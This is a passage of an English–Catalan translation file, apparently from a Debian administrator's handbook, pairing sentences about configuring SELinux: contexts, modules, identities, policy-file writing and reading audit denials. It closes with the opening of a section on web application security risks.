en: By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.
ca-ES: Per defecte, un programa hereta el domini de l'usuari que l'inicia, però les polítiques estàndard de SELinux esperen que molts programes importants s'executin en dominis dedicats. Per aconseguir-ho, aquests executables estan etiquetats amb un tipus dedicat (per exemple <command>ssh</command> està etiquetat amb <literal>ssh_exec_t</literal>, i quan el programa inicia, es canvia automàticament al domini <literal>ssh_t</literal>). Aquest mecanisme automàtic de transició de domini permet concedir només els drets requerits per cada programa. És un principi fonamental de SELinux.

en: Automatic transitions between domains
ca-ES: Transicions automàtiques entre dominis

en: <emphasis>IN PRACTICE</emphasis> Finding the security context
ca-ES: <emphasis>A LA PRÁCTICA</emphasis> Trobar el context de seguretat

en: <primary>context, security context</primary>
ca-ES: <primary>context, context de seguretat</primary>

en: To find the current security context in a shell, you should call <command>id -Z</command>.
ca-ES: Per trobar el context de seguretat actual en un intèrpret d'ordres, s'ha d'executar <command>id -Z</command>.

en: To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>.
ca-ES: Per trobar el context de seguretat d'un procés donat, s'ha d'utilitzar l'opció <literal>Z</literal> de <command>ps</command>.

en: The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
ca-ES: El primer camp conté la identitat, el rol, el domini i el nivell MCS, separats per dos punts. El nivell MCS («<emphasis>Multi-Category Security</emphasis>» o “seguretat multi-categoria”) és un paràmetre que intervé en la configuració d'una política de protecció de la confidencialitat, que regula l'accés als arxius basant-se en la seva sensibilitat. Aquesta característica no s'explicarà en aquest llibre.

en: Finally, to find the type assigned to a file, you can use <command>ls -Z</command>.
ca-ES: Finalment, per trobar el tipus assignat a un fitxer, es pot utilitzar <command>ls -Z</command>.

en: It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
ca-ES: Val la pena assenyalar que la identitat i el paper assignats a un arxiu no tenen una importància especial (no s'utilitzen mai), però en nom de la uniformitat, tots els objectes tenen un context de seguretat complet.

en: Setting Up SELinux
ca-ES: Configuració de SELinux

en: SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
ca-ES: El suport de SELinux està integrat en els nuclis estàndard proporcionats per Debian. Les eines bàsiques d'Unix admeten SELinux sense cap modificació. Per tant, és relativament fàcil habilitar SELinux.

en: The <emphasis role="pkg">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section).
ca-ES: El paquet <emphasis role="pkg">selinux-policy-default</emphasis> conté un conjunt de regles estàndard. Per defecte, aquesta política només limita l'accés a uns pocs serveis àmpliament exposats. Les sessions d'usuari no estan restringides i per tant és improbable que SELinux bloquegi operacions d'usuari legítimes. Tanmateix, això millora la seguretat dels serveis del sistema que funcionen a la màquina. Per configurar una política equivalent a les antigues regles "estrictes", només heu de desactivar el mòdul <literal>unconfined</literal> (la gestió de mòduls és detallarà més endavant en aquesta secció).

en: Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>.
ca-ES: Una vegada que s'hagi instal·lat la política, s'haurien d'etiquetar tots els arxius disponibles (que significa assignar-los un tipus). Aquesta operació s'ha d'iniciar manualment amb <command>fixfiles relabel</command>.

en: The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot.
ca-ES: El sistema SELinux ja està llest. Per activar-lo, s'ha d'afegir el paràmetre <literal>selinux=1 security=selinux</literal> al nucli de Linux. El paràmetre <literal>audit=1</literal> permet el registre de SELinux que registra totes les operacions denegades. Finalment, el paràmetre <literal>enforcing=1</literal> comporta l'aplicació de les regles: sense ell SELinux funciona en el seu mode per defecte «<emphasis>permissive</emphasis>» on les accions denegades estan registrades però tot i així executades. Per tant, s'hauria de modificar el fitxer de configuració del gestor d'arrencada GRUB per afegir els paràmetres desitjats. Una manera fàcil de fer-ho és modificar la variable <literal>GRUB_CMDLINE_LINUX</literal> a <filename>/etc/default/grub</filename> i executar <command>update-grub</command>. SELinux estarà actiu després d'un reinici.

en: It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
ca-ES: Val la pena assenyalar que l'script <command>selinux-activate</command> automatitza aquestes operacions i obliga a etiquetar en la següent arrencada (fet que evita nous fitxers no etiquetats creats mentre SELinux encara no estava actiu i mentre l'etiquetatge estava en curs).

en: Managing an SELinux System
ca-ES: Gestió d'un sistema SELinux

en: The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command.
ca-ES: La política de SELinux és un conjunt modular de regles, i la seva instal·lació detecta i habilita automàticament tots els mòduls pertinents basats en els serveis ja instal·lats. Així doncs, el sistema està operatiu immediatament. No obstant això, quan s'instal·la un servei després de la política de SELinux, cal que sigui capaç d'habilitar manualment el mòdul corresponent. Aquest és el propòsit de l'ordre <command>semodule</command>. A més, heu de poder definir els rols que cada usuari pot adoptar, i això es pot fer amb l'ordre <command>semanage</command>.

en: Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose.
ca-ES: Aquestes dues ordres es poden utilitzar per modificar la configuració actual de SELinux, que s'emmagatzema a <filename>/etc/selinux/default/</filename>. A diferència d'altres fitxers de configuració que es poden trobar a <filename>/etc/</filename>, tots aquests fitxers no s'han de canviar manualment. S'haurien d'utilitzar els programes dissenyats per a aquest propòsit.

en: <emphasis>GOING FURTHER</emphasis> More documentation
ca-ES: <emphasis>ANANT MÉS ENLLÀ</emphasis> Més documentació

en: Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. <ulink type="block" url="https://selinuxproject.org" />
ca-ES: Atès que la NSA no proporciona cap documentació oficial, la comunitat ha muntat un wiki per compensar-ho. Agrupa molta informació, però heu de ser conscient que la majoria dels contribuents de SELinux són usuaris de Fedora (on SELinux està habilitat per defecte). La documentació, per tant, tendeix a tractar específicament aquesta distribució. <ulink type="block" url="https://selinuxproject.org" />

en: Managing SELinux Modules
ca-ES: Gestió dels mòduls de SELinux

en: Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2).
ca-ES: Els mòduls de SELinux disponibles s'emmagatzemen al directori <filename>/usr/share/selinux/default/</filename>. Per habilitar un d'aquests mòduls en la configuració actual, s'hauria d'utilitzar <command>semodule -i <replaceable>mòdul.pp.bz2</replaceable></command>. L'extensió <emphasis>pp.bz2</emphasis> significa «<emphasis>policy package</emphasis>» o “paquet de polítiques” (comprimit amb bzip2).

en: Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>.
ca-ES: L'eliminació d'un mòdul de la configuració actual es fa amb <command>semodule -r <replaceable>mòdul</replaceable></command>. Finalment, l'ordre <command>semodule -l</command> llista els mòduls que estan instal·lats actualment. També en mostra els números de versió. Els mòduls es poden activar de manera selectiva amb <command>semodule -e</command> i desactivar amb <command>semodule -d</command>.

en: <command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option.
ca-ES: <command>semodule</command> carrega immediatament la nova configuració llevat que afegiu l'opció <literal>-n</literal>. Val la pena assenyalar que el programa actua per defecte amb la configuració actual (indicada per la variable <literal>SELINUXTYPE</literal> a <filename>/etc/selinux/config</filename>), però que se'n pot modificar una altra especificant-la amb l'opció <literal>-s</literal>.

en: Managing Identities
ca-ES: Gestió d'identitats

en: Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command.
ca-ES: Cada vegada que un usuari inicia sessió, se li assigna una identitat de SELinux. Aquesta identitat defineix els rols que podrà adoptar. Aquestes dues assignacions (de l'usuari a la identitat i d'aquesta identitat als rols) són configurables amb l'ordre <command>semanage</command>.

en: <command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user.
ca-ES: <command>semanage login -l</command> llista la relació actual entre els identificadors d'usuari i les identitats de SELinux. Els usuaris que no tenen una entrada explícita obtenen la identitat indicada a l'entrada <literal>__default__</literal>. L'ordre <command>semanage login -a -s user_u <replaceable>usuari</replaceable></command> associarà la identitat <emphasis>user_u</emphasis> a l'usuari indicat. Finalment, <command>semanage login -d <replaceable>usuari</replaceable></command> elimina l'entrada de relació assignada a aquest usuari.

en: <command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>.
ca-ES: <command>semanage user -l</command> llista les relacions entre les identitats d'usuari de SELinux i els rols permesos. Afegir una nova identitat requereix definir els rols corresponents i un prefix d'etiquetatge que s'utilitza per assignar un tipus a fitxers personals (<filename>/home/<replaceable>usuari</replaceable>/*</filename>). El prefix ha de ser triat entre <literal>user</literal>, <literal>staff</literal>, i <literal>sysadm</literal>. El prefix «<literal>staff</literal>» dona com a resultat fitxers de tipus «<literal>staff_home_dir_t</literal>». La creació d'una nova identitat d'usuari de SELinux es fa amb <command>semanage user -a -R <replaceable>rols</replaceable> -P <replaceable>prefixe</replaceable> <replaceable>identitat</replaceable></command>. Finalment, es pot eliminar una identitat d'usuari de SELinux amb <command>semanage user -d <replaceable>identitat</replaceable></command>.

en: Managing File Contexts, Ports and Booleans
ca-ES: Gestió de contextos de fitxers, ports i booleans

en: Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
ca-ES: Cada mòdul SELinux proporciona un conjunt de regles d'etiquetatge de fitxers, però també és possible afegir regles d'etiquetatge personalitzades per atendre algun cas específic. Per exemple, si es vol que el servidor web pugui llegir fitxers dins de la jerarquia de fitxers <filename>/srv/www/</filename>, es pot executar <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> seguit de <command>restorecon -R /srv/www/</command>. La primera ordre registra les noves regles d'etiquetatge i l'última reinicia els tipus de fitxers d'acord amb les regles d'etiquetatge actuals.

en: Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>.
ca-ES: De la mateixa manera, els ports TCP/UDP estan etiquetats de manera que només els dimonis corresponents poden escoltar-hi. Per exemple, si es vol que el servidor web pugui escoltar pel port 8080, caldrà d'executar <command>semanage port -m -t http_port_t -p tcp 8080</command>.

en: Adapting the Rules
ca-ES: Adaptació de les regles

en: Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>.
ca-ES: Com que la política de SELinux és modular, podria ser interessant desenvolupar nous mòduls per a aplicacions (possiblement personalitzades) que no els tenen. Aquests nous mòduls completaran la <emphasis>política de referència</emphasis>.

en: To create new modules, the <emphasis role="pkg">selinux-policy-dev</emphasis> package is required, as well as <emphasis role="pkg">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
ca-ES: Per crear nous mòduls, cal el paquet <emphasis role="pkg">selinux-policy-dev</emphasis>, així com <emphasis role="pkg">selinux-policy-doc</emphasis>. Aquest últim conté la documentació de les regles estàndard (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) i fitxers de mostra que es poden utilitzar com a patró per crear nous mòduls. Instal·leu aquests fitxers i estudieu-los més de prop:

en: The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.
ca-ES: El fitxer <filename>.te</filename> és el més important. Defineix les regles. El fitxer <filename>.fc</filename> defineix els "contextos de fitxers", és a dir, els tipus assignats als fitxers relacionats amb aquest mòdul. Les dades del fitxer <filename>.fc</filename> s'utilitzen durant el pas de l'etiquetatge de fitxers. Finalment, el fitxer <filename>.if</filename> defineix la interfície del mòdul: és un conjunt de "funcions públiques" que altres mòduls poden utilitzar per interaccionar correctament amb el mòdul que esteu creant.

en: Writing a <filename>.fc</filename> file
ca-ES: Creació d'un fitxer <filename>.fc</filename>

en: Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
ca-ES: Llegir l'exemple següent hauria de ser suficient per entendre l'estructura d'aquesta mena de fitxer. Podeu utilitzar expressions regulars per assignar el mateix context de seguretat a diversos fitxers, o fins i tot a un arbre de directoris sencer.

en: <filename>example.fc</filename> file
ca-ES: Fitxer <filename>example.fc</filename>

en: Writing a <filename>.if</filename> File
ca-ES: Creació d'un fitxer <filename>.if</filename>

en: In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files.
ca-ES: A l'exemple següent, la primera interfície (“<literal>myapp_domtrans</literal>”) controla qui pot executar l'aplicació. El segon (“<literal>myapp_read_log</literal>”) concedeix drets de lectura als fitxers de registre de l'aplicació.

en: Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
ca-ES: Cada interfície ha de generar un conjunt vàlid de regles que es poden inserir en un fitxer <filename>.te</filename>. Per tant, cal declarar tots els tipus que utilitzeu (amb la macro <literal>gen_require</literal>), i utilitzar directives estàndard per concedir drets. No obstant això, cal tenir en compte que es poden utilitzar interfícies proporcionades per altres mòduls. La següent secció donarà més explicacions sobre com expressar aquests drets.

en: <filename>example.if</filename> File
ca-ES: El fitxer <filename>example.if</filename>

en: <emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>
ca-ES: <emphasis>DOCUMENTACIÓ</emphasis> Explicacions sobre la <emphasis>política de referència</emphasis>

en: The <emphasis>reference policy</emphasis> evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. <ulink type="block" url="https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted" />
ca-ES: La <emphasis>política de referència</emphasis> evoluciona com qualsevol projecte de programari lliure: basat en contribucions de voluntaris. El projecte està allotjat per Tresys, una de les empreses més actives en el camp de SELinux. El seu wiki conté explicacions sobre com s'han estructurat les regles i com podeu crear-ne de noves. <ulink type="block" url="https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted" />

en: Writing a <filename>.te</filename> File
ca-ES: Creació d'un fitxer <filename>.te</filename>

en: Have a look at the <filename>example.te</filename> file:
ca-ES: Doneu un cop d'ull al fitxer <filename>example.te</filename>:

en: <emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language
ca-ES: <emphasis>ANANT MÉS ENLLÀ</emphasis> El llenguatge de macros <command>m4</command>

en: To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
ca-ES: Per estructurar adequadament la política, els desenvolupadors de SELinux van utilitzar un processador de macros. En lloc de duplicar moltes directives <emphasis>allow</emphasis> similars, van crear "funcions macro" per utilitzar una lògica de més alt nivell, que també resulta en una política molt més llegible.

en: In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives.
ca-ES: A la pràctica, <command>m4</command> s'utilitza per compilar aquestes regles. Fa l'operació contrària: amplia totes aquestes directives d'alt nivell en una enorme base de dades de directives <emphasis>allow</emphasis>.

en: The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
ca-ES: Les “interfícies” de SELinux només són funcions macro que seran substituïdes per un conjunt de regles en el moment de la compilació. De la mateixa manera, alguns drets són de fet conjunts de drets que són substituïts pels seus valors en el moment de la compilació.

en: The module must be identified by its name and version number. This directive is required.
ca-ES: El mòdul s'ha d'identificar pel seu nom i el número de versió. Aquesta directiva és necessària.

en: If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.
ca-ES: Si el mòdul introdueix nous tipus, ha de declarar-los amb directives com aquesta. No s'ha de dubtar per crear tants tipus com siguin necessaris en lloc de concedir massa drets inútils.

en: Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain).
ca-ES: Aquestes interfícies defineixen el tipus <literal>myapp_t</literal> com un domini de procés que hauria d'utilitzar qualsevol executable etiquetat amb <literal>myapp_exec_t</literal>. Implícitament, això afegeix un atribut <literal>exec_type</literal> en aquests objectes, que al seu torn permet a altres mòduls concedir drets per executar aquests programes: per exemple, el mòdul <literal>userdomain</literal> permet processos amb dominis <literal>user_t</literal>, <literal>staff_t</literal>, i <literal>sysadm_t</literal> per executar-los. Els dominis d'altres aplicacions confinades no tindran els drets per executar-les, tret que les normes els concedeixin drets similars (aquest és el cas, per exemple, de <command>dpkg</command> amb el seu domini <literal>dpkg_t</literal>).

en: <literal>logging_log_file</literal> is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to <command>logrotate</command> so that it can manipulate them).
ca-ES: <literal>logging_log_file</literal> és una interfície proporcionada per la política de referència. Indica que els fitxers etiquetats amb el tipus donat són fitxers de registre que haurien de beneficiar-se de les regles associades (per exemple, concedint drets a <command>logrotate</command> perquè pugui manipular-los).

en: The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).
ca-ES: La directiva <literal>allow</literal> és la directiva base utilitzada per autoritzar una operació. El primer paràmetre és el domini de procés que està autoritzat per executar l'operació. El segon defineix l'objecte que un procés del domini anterior pot manipular. Aquest paràmetre és de la forma “<replaceable>tipus</replaceable>:<replaceable>classe</replaceable>” on <replaceable>tipus</replaceable> és el seu tipus SELinux i <replaceable>classe</replaceable> descriu la naturalesa de l'objecte (fitxer, directori, sòcol, «fifo», etc.). Finalment, l'últim paràmetre descriu els permisos (les operacions permeses).

en: Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them.
ca-ES: Els permisos es defineixen com el conjunt d'operacions permeses i segueixen aquesta plantilla: <literal>{ <replaceable>operació1</replaceable> <replaceable>operació2</replaceable> }</literal>. No obstant això, també es poden utilitzar macros que representin els permisos més útils. El fitxer <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> els llista.

en: The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. <ulink type="block" url="https://selinuxproject.org/page/ObjectClassesPerms" />
ca-ES: La pàgina web següent proporciona una llista relativament exhaustiva de classes d'objectes, i de permisos que es poden concedir. <ulink type="block" url="https://selinuxproject.org/page/ObjectClassesPerms" />

en: Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
ca-ES: Ara només cal trobar el conjunt mínim de normes necessàries per a garantir que l'aplicació o el servei desitjats funcionin correctament. Per a aconseguir-ho, s'hauria de tenir un bon coneixement de com funciona l'aplicació i de quin tipus de dades gestiona i/o genera.

en: However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
ca-ES: No obstant això, és possible un enfocament empíric. Una vegada que els objectes rellevants estan etiquetats correctament, es pot utilitzar l'aplicació en mode permissiu: les operacions que serien prohibides són registrades però tot i així funcionaran. En analitzar els registres, ara ja es podran identificar les operacions a permetre. Heus aquí un exemple d'una entrada de registre d'aquest tipus:

en: To better understand this message, let us study it piece by piece.
ca-ES: Per entendre millor aquest missatge, estudiem-lo per parts.

en: Analysis of an SELinux trace
ca-ES: Anàlisi d'una traça de SELinux

en: Message
ca-ES: Missatge

en: Description
ca-ES: Descripció

en: An operation has been denied.
ca-ES: S'ha denegat una operació.

en: This operation required the <literal>read</literal> and <literal>write</literal> permissions.
ca-ES: Aquesta operació requeria els permisos <literal>read</literal> i <literal>write</literal>.

en: The process with PID 1876 executed the operation (or tried to execute it).
ca-ES: El procés amb el PID 1876 va executar l'operació (o ho va intentar).

en: The process was an instance of the <literal>syslogd</literal> program.
ca-ES: El procés era una instància del programa <literal>syslogd</literal>.

en: The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead.
ca-ES: L'objecte de destinació s'anomenava <literal>xconsole</literal>. A vegades també es pot tenir una variable «path», amb el camí complet, en lloc seu.

en: The device hosting the target object is a <literal>tmpfs</literal> (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).
ca-ES: El dispositiu que alberga l'objecte de destinació és un <literal>tmpfs</literal> (un sistema de fitxers en memòria). Per a un disc real, es podria veure la partició que allotjava l'objecte (per exemple, «sda3»).

en: The object is identified by the inode number 5510.
ca-ES: L'objecte és identificat pel número d'«inode» 5510.

en: This is the security context of the process who executed the operation.
ca-ES: Aquest és el context de seguretat del procés que va executar l'operació.

en: This is the security context of the target object.
ca-ES: Aquest és el context de seguretat de l'objecte destí.

en: The target object is a FIFO file.
ca-ES: L'objecte de destinació és un fitxer «FIFO».

en: By observing this log entry, it is possible to build a rule that would allow this operation. For example, <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. This process can be automated, and it is exactly what the <command>audit2allow</command> command (of the <emphasis role="pkg">policycoreutils</emphasis> package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “<literal>dontaudit</literal>” rule to avoid the log entry despite the effective denial.
ca-ES: Observant aquesta entrada de registre, és possible construir una regla que permeti aquesta operació. Per exemple, <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. Aquest procés es pot automatitzar, i és exactament el que ofereix l'ordre <command>audit2allow</command> (al paquet <emphasis role="pkg">policycoreutils</emphasis>). Aquest enfocament només és útil si els diversos objectes ja estan etiquetats correctament segons el que s'ha de confinar. En qualsevol cas, haureu de revisar detingudament les normes generades i validar-les segons el vostre coneixement de l'aplicació. De fet, aquest enfocament tendeix a concedir més drets dels que realment es necessiten. La solució adequada és sovint crear nous tipus i concedir drets només sobre aquests. També pot passar que una operació denegada no sigui fatal per a l'aplicació, en aquest cas podria ser millor afegir una regla de «<literal>dontaudit</literal>» per evitar l'entrada al registre malgrat la denegació efectiva.

en: <emphasis>COMPLEMENTS</emphasis> No roles in policy rules
ca-ES: <emphasis>COMPLEMENTS</emphasis> Sense rols a les regles de política

en: <primary>Type Enforcement</primary>
ca-ES: <primary>Imposició de tipus</primary>

en: <primary>Enforcement, Type Enforcement</primary>
ca-ES: <primary>Imposició, imposició de tipus</primary>

en: It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights.
ca-ES: Pot semblar estrany que els rols no apareguin en absolut quan es creen noves normes. SELinux només utilitza els dominis per esbrinar quines operacions estan permeses. El rol només intervé indirectament permetent a l'usuari canviar a un altre domini. SELinux es basa en una teoria coneguda com a «<emphasis>Type Enforcement</emphasis>» o “imposició de tipus” i el tipus és l'únic element que importa quan es concedeixen drets.

en: Compiling the Files
ca-ES: Compilació dels fitxers

en: Once the 3 files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, rename them to <filename>myapp.<replaceable>extension</replaceable></filename> and run <command>make NAME=devel</command> to generate a module in the <filename>myapp.pp</filename> file (you can immediately load it with <command>semodule -i myapp.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files.
ca-ES: Una vegada que els 3 fitxers (<filename>exemple.if</filename>,<filename>exemple.fc</filename>, i <filename>exemple.te</filename>) coincideixen amb les vostres expectatives per a les noves regles, canvieu-los el nom a <filename>myapp.<replaceable>extensió</replaceable></filename> i executeu <command>make NAME=devel </command> per generar un mòdul al fitxer <filename>myapp.pp</filename> (el podeu carregar immediatament amb <command>semodule -i myapp.pp</command>). Si es defineixen diversos mòduls, <command>make</command> crearà tots els fitxers corresponents <filename>.pp</filename>.

en: Other Security-Related Considerations
ca-ES: Altres consideracions de seguretat

en: Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.
ca-ES: La seguretat no és només un problema tècnic; més que res, es tracta de bones pràctiques i de comprendre els riscos. Aquesta secció revisa alguns dels riscos més comuns, així com algunes bones pràctiques que, depenent del cas, haurien d'augmentar la seguretat o reduir l'impacte d'un atac amb èxit.

en: Inherent Risks of Web Applications
ca-ES: Riscs inherents de les aplicacions web

en: The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
